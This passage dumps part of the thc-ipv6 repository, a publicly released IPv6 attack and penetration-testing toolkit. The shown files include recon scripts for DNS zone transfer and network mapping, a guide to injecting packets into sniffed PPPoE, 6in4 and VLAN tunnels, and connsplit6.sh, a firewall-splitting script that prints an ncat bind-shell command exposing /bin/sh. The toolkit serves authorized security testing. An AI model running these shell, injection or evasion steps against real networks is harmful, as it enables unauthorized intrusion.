├── 6to4test.sh ├── CHANGES ├── CITATION.cff ├── HOWTO-INJECT ├── INSTALL ├── LICENSE ├── LICENSE.OPENSSL ├── Makefile ├── README.md ├── address6.c ├── alive2map.sh ├── alive6.c ├── axfr-reverse.sh ├── axfr.sh ├── connect6.c ├── connsplit6.c ├── connsplit6.sh ├── contrib ├── Makefile ├── data_structures.h ├── fuzz_dhcpc6-usage.pdf ├── host_scan.c ├── host_scan.h ├── spoofer.c └── spoofer.h ├── covert_send6.c ├── covert_send6d.c ├── create_network_map.sh ├── denial6.c ├── detect-new-ip6.c ├── detect_sniffer6.c ├── dnsdict6.c ├── dnsdict6.h ├── dnsrevenum6.c ├── dnsrevenum6.sh ├── dnssecwalk.c ├── dnssecwalk.sh ├── dos-new-ip6.c ├── dos_mld6.sh ├── dump_dhcp6.c ├── dump_router6.c ├── exploit6.c ├── extract_hosts6.sh ├── extract_networks6.sh ├── fake_advertise6.c ├── fake_dhcps6.c ├── fake_dns6d.c ├── fake_dnsupdate6.c ├── fake_mipv6.c ├── fake_mld26.c ├── fake_mld6.c ├── fake_mldrouter6.c ├── fake_pim6.c ├── fake_router26.c ├── fake_router6.c ├── fake_solicitate6.c ├── firewall6.c ├── flood_advertise6.c ├── flood_dhcpc6.c ├── flood_mld26.c ├── flood_mld6.c ├── flood_mldrouter6.c ├── flood_redir6.c ├── flood_router26.c ├── flood_router6.c ├── flood_rs6.c ├── flood_solicitate6.c ├── flood_unreach6.c ├── four2six.c ├── fps.h ├── fragmentation6.c ├── fragrouter6.c ├── fragrouter6.h ├── fragrouter6.sh ├── fuzz_dhcpc6.c ├── fuzz_dhcps6.c ├── fuzz_ip6.c ├── grep6.pl ├── implementation6.c ├── implementation6d.c ├── inject_alive6.c ├── inverse_lookup6.c ├── kill_router6.c ├── local_discovery6.sh ├── ndpexhaust26.c ├── ndpexhaust6.c ├── node_query6.c ├── parasite6.c ├── passive_discovery6.c ├── randicmp6.c ├── redir6.c ├── redirsniff6.c ├── rsmurf6.c ├── sendpees6.c ├── sendpeesmp6.c ├── six2four.sh ├── smurf6.c ├── thc-ipv6-lib.c ├── thc-ipv6-setup.sh ├── thc-ipv6.8 ├── thc-ipv6.h ├── thcping6.c ├── thcsyn6.c ├── toobig6.c ├── toobigsniff6.c ├── trace6.c └── trace62list.sh /6to4test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" -o -z "$2" && { 3 | echo Syntax: $0 interface ipv4address 4 | echo This little script tests if the IPv4 target has a dynamic 6to4 tunnel active 5 | echo Requires address6 and thcping6 from thc-ipv6 6 | exit 1 7 | } 8 | 9 | HEX=`address6 $2 | head -n 2 | tail -n 1 | sed 's/.*:://'` 10 | test -z "$HEX" && { echo Error: could not generate ipv6 address from ipv4 address $1 ; exit 1 ; } 11 | TARGET="2002:$HEX::$HEX" 12 | 13 | echo thcping6 $1 $TARGET 14 | thcping6 $1 $TARGET 15 | -------------------------------------------------------------------------------- /CITATION.cff: -------------------------------------------------------------------------------- 1 | cff-version: 1.2.0 2 | message: "If you use this software, please cite it as below." 3 | authors: 4 | - given-names: Marc 5 | family-names: Heuse 6 | name-particle: "van Hauser" 7 | email: vh@thc.org 8 | affiliation: The Hacker's Choice 9 | title: "thc-ipv6" 10 | version: 3.8 11 | type: software 12 | date-released: 2020-11-30 13 | url: "https://github.com/vanhauser-thc/thc-ipv6" 14 | keywords: 15 | - IPv6 16 | - scanning 17 | - securiy 18 | license: AGPL-3.0-or-later 19 | -------------------------------------------------------------------------------- /HOWTO-INJECT: -------------------------------------------------------------------------------- 1 | INTRODUCTION 2 | ============ 3 | 4 | Since v1.91 the THC-IPv6 toolkit has injection support for PPPoE, 6in4 5 | and VLAN-Q tunnels. 6 | 7 | For this to work, you must be on the network path where the PPPoE, 6in4 8 | or VLAN-Q tunnel is traversing over. 9 | 10 | This is activated via environment variables. 11 | 12 | 13 | VLAN-Q 14 | ====== 15 | 16 | For VLAN-Q injection you have to set the environment variable THC_IPV6_VLAN 17 | with the necessary information in the following format: 18 | srcmac,dstmac,vlan-id 19 | 20 | To get this information, you must sniff the necessary information on the 21 | Ethernet you are injection from. This tcpdump command will help you: 22 | tcpdump -i eth0 -n -vvv -e ether proto 0x8100 23 | you will need the source mac address, destination mac address and the VLAN ID. 24 | Be sure to set the source and destination mac address right :-) 25 | 26 | with this information you can set up the environment, e.g.: 27 | export THC_IPV6_VLAN=01:01:01:01:01:01,02:02:02:02:02:02,1 28 | Note: the VLAN ID must be in decimal form. 29 | 30 | Also note that VLAN injection can be done additionally to PPPoE and 6in4 31 | if required, just set the other environment variable as well! 32 | 33 | 34 | PPPoE 35 | ===== 36 | 37 | For PPPoE injection you have to set the environment variable THC_IPV6_PPPOE 38 | with the necessary information in the following format: 39 | srcmac,dstmac,ppp-sessionid 40 | 41 | To get this information, you must sniff the necessary information on the 42 | Ethernet you are injection from. This tcpdump command will help you: 43 | tcpdump -i eth0 -n -vvv -e ether proto 0x8864 44 | you will need the source mac address, destination mac address and the PPP 45 | sessionID. Be sure to set the source and destination mac address right :-) 46 | 47 | with this information you can set up the environment, e.g.: 48 | export THC_IPV6_PPPOE=01:01:01:01:01:01,02:02:02:02:02:02,0f2b 49 | Note: the PPP SessionID must be in hexadecimal form, with leading zeros and 50 | no 0x, \x or similar in front. 51 | 52 | 53 | 6in4 54 | ==== 55 | 56 | For 6in4 injection you have to set the environment variable THC_IPV6_6IN4 57 | with the necessary information in the following format: 58 | srcmac,dstmac,src-ipv4,dst-ipv4 59 | 60 | To get this information, you must sniff the necessary information on the 61 | Ethernet you are injection from. This tcpdump command will help you: 62 | tcpdump -i eth0 -n -e ip proto 41 63 | you will need the source mac address, destination mac address, the source 64 | IPv4 address and the destination IPv4 address. 65 | Be sure to set the source and destination mac/IPv4 addresses right :-) 66 | 67 | with this information you can set up the environment, e.g.: 68 | export THC_IPV6_6IN4=01:01:01:01:01:01,02:02:02:02:02:02,1.1.1.1,2.2.2.2 69 | 70 | 71 | KEEPING THE SESSION ALIVE 72 | ========================= 73 | 74 | In case you have to disconnect the client tunnel endpoint to perform your 75 | tests, usually this will terminate the tunnel after some time as the server 76 | side often sends keep-alive packets. 77 | 78 | There is a tool in the package you can run to answer these keep-alive 79 | packets called inject_alive. Just run it with the proper environment 80 | variable and the interface: 81 | 82 | inject_alive eth0 83 | 84 | If you tunnel type is PPPoE, it will even warn if the PPPoE session ID seen 85 | is different to the one you specified in the environment (and uses the one 86 | seen on the wire). 87 | 88 | 89 | RUNNING THE TOOLS 90 | ================= 91 | 92 | running the tools is then simple as a piece of cake: you just run them 93 | normally, and the injection is all done in the background. 94 | 95 | All tools will print one of the following messages when run in injection 96 | mode: 97 | 98 | Information: PPPoE injection/sniffin activated 99 | or 100 | Information: 6in4 injection/sniffin activated 101 | 102 | By this you see that the injection is active. In case you run the tools in 103 | the wrong shell that do not have the environment variable set, you will not 104 | see the message and therefore have an indicator what the problem is :-) 105 | 106 | If the tool does not support injection you will see the following message: 107 | WARNING: ./tool6 is not working with injection! 108 | 109 | One important thing to note!! 110 | You might need to set a specific source ipv6 address with the tools to make 111 | them work if global addresses (non-link-local addresses) are used. 112 | 113 | e.g. when the source IPv6 to use is 2003::1 and the target is 114 | ipv6.google.com => 115 | thcping6 eth0 2003::1 ipv6.google.com 116 | alive6 -I 2003::1 eth0 ipv6.google.com 117 | trace6 -s 2003::1 eth0 ipv6.google.com 118 | But of course it is easier to just configure that as you only global 119 | IPv6 addresses so that everything works, e.g. 120 | ip -6 addr add 2003::1/64 dev eth0 121 | 122 | The following tools do not work with injection or are pointless to use there: 123 | parasite6 fake_solicitate6 fake_advertise6 connect6 detect_sniffer6 124 | flood_advertise6 flood_solicitate6 inverse_lookup6 dnsdict6 dnsrevenum6 125 | fake_dnsupdate6 fake_dhcps6 flood_dhcpc6 126 | 127 | 128 | HELP? 129 | ===== 130 | 131 | email me at vh@thc.org 132 | 133 | feedback is always appreciated! 134 | -------------------------------------------------------------------------------- /INSTALL: -------------------------------------------------------------------------------- 1 | INSTALLATION 2 | ============ 3 | 4 | THC-IPV6 requires libpcap development files being installed, also the 5 | libopenssl development files are a good idea. 6 | 7 | For Debian/Ubunut/Kali/Backtrack, you can install them by: 8 | $ sudo apt-get install libpcap-dev libssl-dev 9 | 10 | For a few optional, obscure tools you need a libnetfilter library: 11 | $ sudo apt-get install libnetfilter-queue-dev 12 | 13 | To compile simply type 14 | $ make 15 | 16 | All tools are installed to /usr/local/bin if you type 17 | $ sudo make install 18 | 19 | You need to be root to run most tools 20 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Comment out if openssl-dev is not present 2 | # of if you want to compile statc 3 | HAVE_SSL=yes 4 | 5 | # comment in if you want to compile static tools 6 | #STATIC=-static 7 | 8 | #CC=gcc 9 | #CFLAGS=-g 10 | CFLAGS+=-g -O3 -flto -falign-functions -falign-jumps -falign-loops -falign-labels -freorder-blocks 11 | CFLAGS+=$(if $(HAVE_SSL),-D_HAVE_SSL,) 12 | LDFLAGS+=-lpcap $(if $(HAVE_SSL),-lssl -lcrypto,) 13 | PROGRAMS=parasite6 dos-new-ip6 detect-new-ip6 fake_router6 fake_advertise6 fake_solicitate6 fake_mld6 fake_mld26 fake_mldrouter6 flood_mldrouter6 fake_mipv6 redir6 smurf6 alive6 toobig6 rsmurf6 implementation6 implementation6d sendpees6 sendpeesmp6 randicmp6 fuzz_ip6 flood_mld6 flood_mld26 flood_router6 flood_advertise6 flood_solicitate6 trace6 exploit6 denial6 fake_dhcps6 flood_dhcpc6 fake_dns6d fragmentation6 kill_router6 fake_dnsupdate6 ndpexhaust6 detect_sniffer6 dump_router6 fake_router26 flood_router26 passive_discovery6 dnsrevenum6 inverse_lookup6 node_query6 address6 covert_send6 covert_send6d inject_alive6 firewall6 ndpexhaust26 fake_pim6 thcsyn6 redirsniff6 flood_redir6 four2six dump_dhcp6 flood_rs6 fuzz_dhcps6 fuzz_dhcpc6 toobigsniff6 flood_unreach6 connect6 14 | EXTRA=dnssecwalk dnsdict6 thcping6 fragrouter6 connsplit6 15 | LIBS=thc-ipv6-lib.o 16 | STRIP=strip 17 | 18 | PREFIX=/usr/local 19 | MANPREFIX=${PREFIX}/share/man 20 | MANPAGES=$(foreach p, $(PROGRAMS) $(EXTRA), $(p).8) 21 | 22 | all: $(LIBS) $(PROGRAMS) $(EXTRA) $(MANPAGES) 23 | 24 | dnssecwalk: dnssecwalk.c 25 | $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) 26 | 27 | dnsdict6: dnsdict6.c 28 | $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) -lpthread -lresolv 29 | 30 | thcping6: thcping6.c $(LIBS) 31 | $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) -lrt 32 | 33 | fragrouter6: fragrouter6.c $(LIBS) 34 | -$(CC) $(CFLAGS) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) -lnetfilter_queue || /bin/echo -e "\nCompilation of fragrouter6 failed, you have to install libnetfilter-queue-dev for this!\n" 35 | 36 | connsplit6: connsplit6.c $(LIBS) 37 | -$(CC) $(CFLAGS) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) -lnetfilter_queue || /bin/echo -e "\nCompilation of connsplit6 failed, you have to install libnetfilter-queue-dev for this!\n" 38 | 39 | %: %.c $(LIBS) 40 | $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) 41 | 42 | strip: all 43 | -$(STRIP) $(PROGRAMS) $(EXTRA) 44 | 45 | install: all strip 46 | install -m0755 -d ${DESTDIR}${PREFIX}/bin 47 | -install -m0755 $(PROGRAMS) $(EXTRA) grep6.pl *.sh ${DESTDIR}${PREFIX}/bin 48 | install -m0755 -d ${DESTDIR}${MANPREFIX}/man8 49 | install -m0644 -D thc-ipv6.8 ${DESTDIR}${MANPREFIX}/man8 50 | install -m0644 -D $(MANPAGES) ${DESTDIR}${MANPREFIX}/man8 51 | 52 | clean: 53 | rm -f $(PROGRAMS) $(EXTRA) $(LIBS) core DEADJOE *~ 54 | rm -f $(MANPAGES) 55 | 56 | backup: clean 57 | tar czvf ../thc-ipv6-bak.tar.gz * 58 | sync 59 | 60 | %.8: % 61 | @echo .TH $* 8 `date -I` THC "IPv6 ATTACK TOOLKIT" > $@ 62 | @echo .SH NAME >> $@ 63 | @echo .B $* >> $@ 64 | @./$*|tail -n +2|sed -e "s#\\./$*#$*#g" -e "s/^Syntax: \?/.SH SYNOPSIS\n/g" -e "s/Options:/.SH OPTIONS\n.nf\n/g" -e "s/^\(.*\):\$$/.SH \1\n/g" >> $@ 65 | @echo .SH AUTHOR >> $@ 66 | @echo "thc-ipv6 was written by van Hauser / THC" >> $@ 67 | @echo >> $@ 68 | @echo The homepage for this toolkit is: https://github.com/vanhauser-thc/thc-ipv6 >> $@ 69 | @echo >> $@ 70 | @echo .SH COPYRIGHT >> $@ 71 | @./$* |head -n1|sed -e "s#^\./##g" >> $@ 72 | 73 | .PHONY: all install clean man 74 | -------------------------------------------------------------------------------- /address6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "thc-ipv6.h" 14 | 15 | void help(char *prg) { 16 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 17 | printf("Syntax:\n\t%s mac-address [ipv6-prefix]\n", prg); 18 | printf("\t%s ipv4-address [ipv6-prefix]\n", prg); 19 | printf("\t%s ipv6-address\n\n", prg); 20 | printf( 21 | "Converts a mac or IPv4 address to an IPv6 address (link local if no " 22 | "prefix is\n"); 23 | printf( 24 | "given as 2nd option) or, when given an IPv6 address, prints the mac or " 25 | "IPv4\n"); 26 | printf( 27 | "address. Prints all possible variations. Returns -1 on errors or the " 28 | "number of\n"); 29 | printf("variations found\n"); 30 | exit(-1); 31 | } 32 | 33 | int main(int argc, char *argv[]) { 34 | unsigned char *ptr, *dst6, ipv4[16] = "", ipv6[64], *prefix; 35 | int i, j, k, found = 0; 36 | struct in_addr in; 37 | 38 | if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 39 | 40 | if ((dst6 = index(argv[1], '/')) != NULL) *dst6 = 0; 41 | if ((dst6 = thc_resolve6(argv[1])) != NULL) { // ipv6 address 42 | if (dst6[11] == 0xff && dst6[12] == 0xfe) { // EUI-64 encoding of mac 43 | printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (dst6[8] ^ 2), dst6[9], 44 | dst6[10], dst6[13], dst6[14], dst6[15]); 45 | return 1; 46 | } 47 | // ::ffff:ip4enc:ipv4enc support 48 | if (dst6[8] + dst6[9] == 0 && dst6[10] == 0xff & dst6[11] == 0xff) { 49 | dst6[10] = 0; 50 | dst6[11] = 0; 51 | } 52 | if (dst6[8] + dst6[10] + dst6[12] + dst6[14] == 0 && 53 | dst6[9] != 0) { // hexdecimal ipv4 54 | j = 0; 55 | for (i = 0; i < 4; i++) 56 | if (dst6[9 + i * 2] > 9) j++; 57 | if (j > 0) { 58 | sprintf(ipv4, "%d.%d.%d.%d", dst6[9], dst6[11], dst6[13], dst6[15]); 59 | if (inet_aton(ipv4, &in) != 0) { 60 | printf("%s\n", ipv4); 61 | found++; 62 | } 63 | } 64 | } 65 | if (dst6[8] + dst6[9] + dst6[10] + dst6[11] == 0 && 66 | dst6[12] != 0) { // hexdecimal ipv4 #2 67 | sprintf(ipv4, "%d.%d.%d.%d", dst6[12], dst6[13], dst6[14], dst6[15]); 68 | if (inet_aton(ipv4, &in) != 0) { 69 | printf("%s\n", ipv4); 70 | found++; 71 | } 72 | } 73 | // now try for decimal ipv4 encoding 74 | memset(dst6, 0, 8); 75 | ptr = thc_ipv62notation(dst6); 76 | ptr += 2; 77 | j = 0; 78 | for (i = 0; i < strlen(ptr); i++) 79 | if (ptr[i] > ':') 80 | j++; 81 | else if (ptr[i] == ':') 82 | ptr[i] = '.'; 83 | if (j == 0 && inet_aton(ptr, &in) != 0) { 84 | j = 0; 85 | for (i = 0; i < strlen(ptr); i++) 86 | if (ptr[i] == '.') j++; 87 | if (j == 3) { 88 | printf("%s\n", ptr); 89 | found++; 90 | } 91 | } 92 | 93 | if (found > 0) return found; 94 | 95 | fprintf(stderr, 96 | "Error: the IPv6 address does not contain a mac or encoded IPv4 " 97 | "address\n"); 98 | return -1; 99 | } 100 | 101 | // now check for a prefix argument 102 | if (argc == 3) { 103 | if ((ptr = index(argv[2], '/')) != NULL) *ptr = 0; 104 | if ((prefix = thc_resolve6(argv[2])) == NULL) { 105 | fprintf(stderr, "Error: invalid prefix: %s\n", argv[2]); 106 | return -1; 107 | } 108 | } else 109 | prefix = thc_resolve6("fe80::"); 110 | 111 | if (index(argv[1], '.') != NULL) { // ipv4 to ipv6 112 | ptr = argv[1]; 113 | for (i = 0; i < 4; i++) { 114 | if ((dst6 = index(ptr, '.')) != NULL) *dst6 = 0; 115 | ipv4[i] = atoi(ptr); 116 | if ((i < 3 && dst6 == NULL) || (i == 3 && dst6 != NULL)) { 117 | i = 3; 118 | ipv4[0] = 0; 119 | } else if (dst6 != NULL) 120 | ptr = dst6 + 1; 121 | } 122 | j = 0; 123 | k = 0; 124 | for (i = 0; i < 4; i++) { 125 | if (ipv4[i] > 255) j++; 126 | if (ipv4[i] > 9) k = 1; 127 | } 128 | if (j == 0 && ipv4[0] != 0) { // from here we know its a valid ipv4 address 129 | memcpy(ipv6, prefix, 8); 130 | memset(ipv6 + 8, 0, 8); 131 | for (i = 0; i < 4; i++) 132 | ipv6[9 + i * 2] = ipv4[i]; 133 | printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #1 134 | memset(ipv6 + 8, 0, 4); 135 | memcpy(ipv6 + 12, ipv4, 4); 136 | printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #2 137 | memset(ipv6 + 8, 0, 7); 138 | ipv6[15] = ipv4[3]; 139 | printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #3 140 | 141 | if (k) { // do we need decimal representation too, or would it be a 142 | // double? 143 | sprintf(ipv6, "::%d:%d:%d:%d", ipv4[0], ipv4[1], ipv4[2], ipv4[3]); 144 | dst6 = thc_resolve6(ipv6); 145 | memcpy(dst6, prefix, 8); 146 | printf("%s\n", thc_ipv62notation(dst6)); 147 | } 148 | 149 | if (ipv4[3] < 10) 150 | return (3 + k); 151 | else { // 2nd decimal representation 152 | sprintf(ipv6, "::%d", ipv4[3]); 153 | dst6 = thc_resolve6(ipv6); 154 | memcpy(dst6, prefix, 8); 155 | printf("%s\n", thc_ipv62notation(dst6)); 156 | return (4 + k); 157 | } 158 | } 159 | } 160 | 161 | if (index(argv[1], ':') != NULL) { // mac to ipv6 162 | sscanf(argv[1], "%x:%x:%x:%x:%x:%x", (unsigned int *)&k, 163 | (unsigned int *)&ipv6[9], (unsigned int *)&ipv6[10], 164 | (unsigned int *)&ipv6[13], (unsigned int *)&ipv6[14], 165 | (unsigned int *)&ipv6[15]); 166 | memcpy(ipv6, prefix, 8); 167 | ipv6[8] = (k ^ 2); 168 | ipv6[11] = 0xff; 169 | ipv6[12] = 0xfe; 170 | printf("%s\n", thc_ipv62notation(ipv6)); 171 | return 1; 172 | } 173 | 174 | fprintf(stderr, "Error: neither a valid mac, IPv4 or IPv6 address\n"); 175 | return -1; 176 | } 177 | -------------------------------------------------------------------------------- /alive2map.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | test -z "$1" -o -z "$2" -o "$1" = "-h" && { echo Syntax: $0 interface ALIVE-FILE; echo Creates a GraphViz .gv file from the file containing alive IPv6 addresses. ; echo Several files will be created in the same directory as the input file. ; exit 1; } 4 | 5 | echo Ping scanning list ... 6 | alive6 -p -i "$2" $1 | grep Alive: | grep echo-reply | awk '{print$2}' > "$2".pingable 7 | 8 | echo Extracting one target from every network ... 9 | for i in `extract_networks6.sh "$2".pingable | sort -u | sed 's/:$//'`; do 10 | grep "^$i" "$2".pingable | head -n 1 11 | done > "$2".traceable 12 | 13 | echo Tracerouting targets ... 14 | for i in `cat "$2".traceable`; do 15 | trace6 $1 $i > $i.trace 16 | trace62list.sh $i.trace > $i.list 17 | done 18 | 19 | echo Creating GraphViz GV file 20 | create_network_map.sh *.list > "$2".gv 21 | 22 | echo Creating JPG file 23 | dot -Tjpg "$2".gv > "$2".jpg 24 | 25 | echo Done, JPG is in $2.jpg and GraphViz is in $2.gv 26 | -------------------------------------------------------------------------------- /axfr-reverse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 ipv6-address [prefixlength]"; echo "data is saved to \$domain-\$ns.zone"; echo if there are dns soa problems and the prefix length is not 48 you can specify it as an extra option on the command line ; exit 1; } 3 | 4 | which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } 5 | 6 | PLEN=48 7 | FOO=$1 8 | test -n "$2" && PLEN=$2 9 | echo -- $1 | grep -q / && FOO=`echo $1 | sed 's/\/.*//'` 10 | dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" 11 | DOMAIN=`dig -x $FOO soa | grep -w SOA | awk '{print$1}' | grep -v ';'` 12 | test -z "$DOMAIN" && DOMAIN=`dig @8.8.8.8 -x $FOO ns | grep -w SOA | awk '{print$1}' | grep -v ';'` 13 | test -z "$DOMAIN" && { echo Error: could not get SOA entry for $FOO ; exit 1 ; } 14 | test -z "$DOMAIN" -a -n "$PLEN" && { 15 | CHARS=`expr '(' 132 - $PLEN ')' / 2` 16 | DOMAIN=`dig -x $FOO soa | grep -w SOA | awk '{print$1}' | grep -E '^;' | awk '{print$1}' | cut -b ${CHARS}- ` 17 | } 18 | 19 | X=`echo $FOO | sed 's/\.$//' | tr : _` 20 | 21 | for j in `dig $DOMAIN ns | grep -w NS | grep -w IN | grep -v '^;' | awk '{print$5}'`; do 22 | echo Trying reverse zone transfer of $DOMAIN on $j ... 23 | Y=`echo $j | sed 's/\.$//'` 24 | dig @$j $DOMAIN axfr > $X-$Y.zone 25 | grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS && echo Zone saved to $X-$Y.zone 26 | grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS || rm -f $X-$Y.zone 27 | done 28 | -------------------------------------------------------------------------------- /axfr.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { echo Syntax: $0 domain ; echo data is saved to domain-ns.zone ; exit 1; } 3 | 4 | which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } 5 | 6 | DNS="" 7 | dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" 8 | DOMAIN=$1 9 | X=`echo $1 | sed 's/\.$//'` 10 | echo $1 | grep -q '\.$' || DOMAIN=$DOMAIN. 11 | 12 | for j in `dig $DNS $DOMAIN ns | grep -w NS | grep -w IN | grep -v '^;' | awk '{print$5}'`; do 13 | echo Trying zone transfer of $DOMAIN on $j ... 14 | Y=`echo $j | sed 's/\.$//'` 15 | dig @$j $DOMAIN axfr > $X-$Y.zone 16 | grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS && echo Zone saved to $X-$Y.zone 17 | grep -w NS $X-$Y.zone | grep -v '^;' | grep -q NS || rm -f $X-$Y.zone 18 | done 19 | -------------------------------------------------------------------------------- /connsplit6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # connsplit6 startup script 4 | # 5 | 6 | test -z "$1" -o "$1" = "-h" -o -z "$2" && { 7 | echo "connsplit6 startup script (c) 2022 by van Hauser / THC" 8 | echo 9 | echo "Syntax: $0 interface client|server [ipv6-network]" 10 | echo "The ipv6-network (e.g. 2001:2:3:4::) needs to be supplied for client mode" 11 | echo 12 | exit 0 13 | } 14 | 15 | VAR= 16 | while [ '!' -d "/proc/sys/net/ipv6/conf/$1" ]; do 17 | VAR="${VAR}$1 " 18 | shift; 19 | done 20 | INT=$1 21 | M=$2 22 | NET=$3 23 | shift ; shift ; shift 24 | 25 | PORTDEF=--dport 26 | MODE=-1 27 | test "$M" = "client" -o "$M" = "Client" -o "$M" = "CLIENT" -o "$M" = "c" -o "$M" = "C" && MODE=0 28 | test "$M" = "server" -o "$M" = "Server" -o "$M" = "SERVER" -o "$M" = "s" -o "$M" = "S" && MODE=1 29 | test "$MODE" = "-1" && { echo Error: you must specify either \"client\" or \"server\" as mode. ; exit 1 ; } 30 | test "$MODE" = 0 && PORTDEF=--sport 31 | test "$MODE" = 0 -a -z "$NET" && { echo Error: you must supply your global network for client mode ; exit 1; } 32 | FROM= 33 | TO= 34 | echo "NET" | grep -E -q ":$" && { 35 | FROM=${NET}ff 36 | TO=${NET}ee 37 | } 38 | test -z "$FROM" && { 39 | FROM=`echo $NET | sed 's/:[0-9A-Fa-f]*$/:ff/'` 40 | TO=`echo $NET | sed 's/:[0-9A-Fa-f]*$/:ee/'` 41 | } 42 | test -n "$FROM" && { 43 | echo Configuring addresses $FROM and $TO on $INT 44 | { 45 | ip -6 addr add $FROM/64 dev $INT 46 | ip -6 addr add $TO/64 dev $INT 47 | } > /dev/null 2>&1 48 | } 49 | 50 | IPTABLES="`which ip6tables` -t mangle" 51 | MODPROBE=`which modprobe` 52 | 53 | # Check if the user can run iptables 54 | $IPTABLES -L >/dev/null 2>&1 55 | if [ "$?" != "0" ]; 56 | then 57 | echo "You need to be root to run this script" 58 | exit 59 | fi 60 | 61 | # Load ipt_NFQUEUE and ipt_state modules 62 | $MODPROBE ipt_NFQUEUE 63 | $MODPROBE ipt_state 64 | 65 | # Ignore SIGINT, SIGHUP 66 | trap "echo User interrupt!" INT HUP 67 | 68 | # Prepare for startup 69 | # Create new tables 70 | $IPTABLES -N THC_NFQUEUE2 >/dev/null 2>&1 71 | # Send all hooked table traffic to new table 72 | test "$MODE" = "0" && { 73 | $IPTABLES -I PREROUTING -j THC_NFQUEUE2 -p tcp $PORTDEF 64446 || { 74 | echo Error: your supplied ip6tables definitions are invalid, resetting 75 | $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 76 | exit 1 77 | } 78 | } 79 | test "$MODE" = "1" && { 80 | $IPTABLES -I POSTROUTING -j THC_NFQUEUE2 -p tcp $PORTDEF 64446 || { 81 | echo Error: your supplied ip6tables definitions are invalid, resetting 82 | $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 83 | exit 1 84 | } 85 | } 86 | # Send all traffic from the new table to NFQUEUE table 87 | $IPTABLES -I THC_NFQUEUE2 -p all -j NFQUEUE 88 | # Fix loopback traffic 89 | $IPTABLES -I INPUT -p all -i lo -j ACCEPT 90 | $IPTABLES -I OUTPUT -p all -o lo -j ACCEPT 91 | 92 | # Help information 93 | echo 94 | echo 95 | echo Now run: 96 | test "$MODE" = 0 && echo " ncat -6 -p 64446 -s $FROM TARGET SHELLPORT" 97 | test "$MODE" = 1 && echo " ncat -6 -p SHELLPORT -l -e /bin/sh" 98 | echo 99 | 100 | # Start connsplit6 101 | connsplit6 -v $INT $M 102 | 103 | # Drop fix for loopback traffic 104 | $IPTABLES -D INPUT -p all -i lo -j ACCEPT 105 | $IPTABLES -D OUTPUT -p all -o lo -j ACCEPT 106 | # Delete incoming exceeded drop rule 107 | $IPTABLES -D INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP 108 | # Restore hooked table 109 | $IPTABLES -D POSTROUTING -j THC_NFQUEUE2 $* 110 | # Drop rules from nfq-test-1 tables 111 | $IPTABLES -F THC_NFQUEUE2 112 | # Delete the table 113 | $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 114 | if [ "$?" != "0" ]; then 115 | echo "Unable to drop THC_NFQUEUE2!" 116 | echo "You need to do this manually!" 117 | fi 118 | 119 | echo 120 | echo done. 121 | -------------------------------------------------------------------------------- /contrib/Makefile: -------------------------------------------------------------------------------- 1 | PROGRAMS= host_scan spoofer 2 | CC=gcc 3 | #CFLAGS?=-Wall -ggdb 4 | CFLAGS?=-O2 5 | LDFLAGS+=-lpcap -lssl -lcrypto -I.. 6 | PREFIX=/usr/local 7 | LIBS=../thc-ipv6-lib.o 8 | 9 | all: $(PROGRAMS) 10 | 11 | %: %.c 12 | $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS) 13 | 14 | clean: 15 | rm -f $(PROGRAMS) *~ core DEADJOE 16 | 17 | strip: all 18 | strip $(PROGRAMS) 19 | 20 | install: strip 21 | install -m0755 -d ${DESTDIR}${PREFIX}/bin 22 | install -m0755 $(PROGRAMS) ${DESTDIR}${PREFIX}/bin 23 | 24 | .PHONY: all install clean 25 | -------------------------------------------------------------------------------- /contrib/data_structures.h: -------------------------------------------------------------------------------- 1 | #ifndef DATA_STRUCTURES_H_ 2 | #define DATA_STRUCTURES_H_ 3 | 4 | typedef struct { 5 | char *interface; 6 | unsigned char *uniOrMultiCastAddr; 7 | //char *router; 8 | int rawMode; 9 | } HArgs; 10 | 11 | typedef struct { 12 | char *interface; 13 | unsigned char *ipAddr; 14 | int rawMode; 15 | unsigned char *ownIp; 16 | unsigned char *ownMac; 17 | } RArgs; 18 | 19 | typedef struct { 20 | char *interface; 21 | unsigned char *ipAddrVic1, *ipAddrVic2; 22 | unsigned char *macAddrVic1, *macAddrVic2; 